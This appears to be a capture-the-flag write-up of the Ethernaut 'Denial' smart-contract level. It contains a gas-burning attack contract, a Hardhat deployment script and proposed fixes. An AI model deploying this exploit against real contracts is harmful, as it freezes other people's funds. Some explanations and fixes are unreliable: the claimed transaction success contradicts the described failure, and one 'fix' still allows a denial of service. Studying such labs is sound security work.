Denial Challenge - Ethernaut Level 20
Challenge Description
Challenge Goal
Prevent the owner from withdrawing funds by making the withdraw function fail. This requires understanding how low-level calls work and how gas consumption can be exploited to cause a Denial of Service attack.
The Vulnerable Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
// solhint-disable-next-line
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}The Vulnerability
The vulnerability in this contract is a classic Denial of Service (DoS) attack. The issue is in the withdraw function:
- Low-Level Call Without Gas Limit: The contract uses
partner.call{value: amountToSend}("")without specifying a gas limit - Order of Operations: The partner's call happens before the owner's transfer
- No Return Value Check: The contract doesn't check if the partner's call succeeded
- Gas Consumption: The partner can consume all available gas in their
receivefunction
The key insight is that when using .call without a gas limit, all remaining gas is forwarded to the called contract by default. If we create a malicious partner contract that uses up all the gas in its receive function, the owner's transfer will fail due to out of gas.
The Attack Contract
Here's the attack contract that exploits this vulnerability:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DenialAttack {
// Gas-consuming operation in receive function
receive() external payable {
// Consume all available gas
uint256 i = 0;
while(i < type(uint256).max) {
i++;
}
}
}How the Attack Works
Attack Flow:
- Deploy Attack Contract: Deploy the
DenialAttackcontract - Set as Partner: Call
setWithdrawPartnerto set our attack contract as the withdrawal partner - Trigger Withdraw: When anyone calls
withdraw(), our contract'sreceivefunction is triggered - Consume Gas: Our
receivefunction enters an infinite loop, consuming all available gas - Prevent Owner Transfer: The owner's
transferfails due to insufficient gas - Transaction Succeeds: The transaction still succeeds because the partner's call is not checked for success
Key Attack Code:
// The critical part - infinite loop to consume all gas
receive() external payable {
while(true) {}
}
// This ensures that when the Denial contract calls us,
// we consume all remaining gas, preventing the owner's transferDeployment and Execution Script
Here's the script to deploy and execute the attack:
const hre = require("hardhat");
require("dotenv").config();
async function main() {
// Get the Denial contract address from .env
const denialAddress = process.env.DENIAL_ADDRESS;
if (!denialAddress) {
throw new Error("Please set DENIAL_ADDRESS in your .env file");
}
console.log("Denial contract address:", denialAddress);
// Deploy the attack contract
const DenialAttack = await hre.ethers.getContractFactory("DenialAttack");
const attack = await DenialAttack.deploy();
await attack.waitForDeployment();
console.log("DenialAttack deployed to:", await attack.getAddress());
// Get the Denial contract instance
const Denial = await hre.ethers.getContractFactory("Denial");
const denial = await Denial.attach(denialAddress);
// Set our attack contract as the withdrawal partner
console.log("Setting attack contract as withdrawal partner...");
const tx = await denial.setWithdrawPartner(await attack.getAddress());
await tx.wait();
console.log("Attack contract set as withdrawal partner!");
// Verify it worked by checking the partner address
const partner = await denial.partner();
console.log("Current withdrawal partner:", partner);
if (partner.toLowerCase() === (await attack.getAddress()).toLowerCase()) {
console.log("Attack successful! The owner will not be able to withdraw funds.");
}
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});Why This Attack Works
Gas Management in Ethereum:
- Gas Limit: Every transaction has a gas limit that determines the maximum amount of gas that can be consumed
- Low-Level Calls: When using
.callwithout specifying gas, all remaining gas is forwarded to the called contract - Gas Consumption: If the called contract consumes all available gas, subsequent operations in the calling contract will fail
- Transaction Success: Even if the called contract fails, the transaction can still succeed if the failure isn't checked
Order of Operations:
// In the withdraw() function:
1. partner.call{value: amountToSend}("") // Our attack consumes all gas
2. payable(owner).transfer(amountToSend) // This fails due to insufficient gas
3. timeLastWithdrawn = block.timestamp // This never executes
4. withdrawPartnerBalances[partner] += amountToSend // This never executesSecurity Lessons
- Gas Limits: Always specify gas limits when using low-level calls to prevent DoS attacks
- Return Value Checks: Always check the return value of external calls to ensure they succeeded
- Order of Operations: Be careful about the order of operations, especially when external calls are involved
- Pull Over Push Pattern: Consider using the pull-over-push pattern where recipients withdraw funds themselves
- Gas Estimation: Estimate gas requirements for external calls and set appropriate limits
Prevention
Here's how you could fix the vulnerable contract:
// Fixed version 1: Add gas limit and return value check
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// Set a reasonable gas limit and check return value
(bool success,) = partner.call{value: amountToSend, gas: 5000}("");
require(success, "Partner transfer failed");
payable(owner).transfer(amountToSend);
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// Fixed version 2: Use pull-over-push pattern
contract DenialFixed {
address public partner;
address public constant owner = address(0xA9E);
mapping(address => uint256) public withdrawPartnerBalances;
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// Only transfer to owner, let partner withdraw themselves
payable(owner).transfer(amountToSend);
withdrawPartnerBalances[partner] += amountToSend;
}
// Partner can withdraw their funds
function withdrawPartnerFunds() public {
require(msg.sender == partner, "Only partner can withdraw");
uint256 amount = withdrawPartnerBalances[partner];
require(amount > 0, "No funds to withdraw");
withdrawPartnerBalances[partner] = 0;
payable(partner).transfer(amount);
}
}
// Fixed version 3: Use ReentrancyGuard and gas limits
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract DenialFixed is ReentrancyGuard {
function withdraw() public nonReentrant {
uint256 amountToSend = address(this).balance / 100;
// Use a fixed gas limit and check success
(bool success,) = partner.call{value: amountToSend, gas: 5000}("");
require(success, "Partner transfer failed");
payable(owner).transfer(amountToSend);
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
}Real-World Implications
This type of vulnerability can occur in various real-world scenarios:
- Payment Systems: Contracts that distribute payments to multiple recipients
- Split Contracts: Contracts that split funds between partners or team members
- Escrow Services: Contracts that hold funds and distribute them to multiple parties
- Reward Systems: Contracts that distribute rewards or dividends to token holders
- Multi-Signature Wallets: Wallets that distribute funds to multiple signers
Gas Optimization Considerations
When designing contracts that make external calls:
- Gas Limits: Set appropriate gas limits for external calls based on expected gas consumption
- Batch Operations: Consider batching operations to reduce the number of external calls
- Pull Pattern: Use pull-over-push patterns where recipients withdraw funds themselves
- Gas Estimation: Test gas consumption with various scenarios to set appropriate limits
- Fallback Mechanisms: Implement fallback mechanisms when external calls fail
Conclusion
The Denial challenge teaches us about the importance of proper gas management and external call handling in smart contracts. The key takeaway is that low-level calls without gas limits can be exploited to cause Denial of Service attacks.
This vulnerability demonstrates why it's crucial to understand how gas works in Ethereum and to implement proper safeguards when making external calls. Always set gas limits, check return values, and consider using safer patterns like pull-over-push for fund distribution.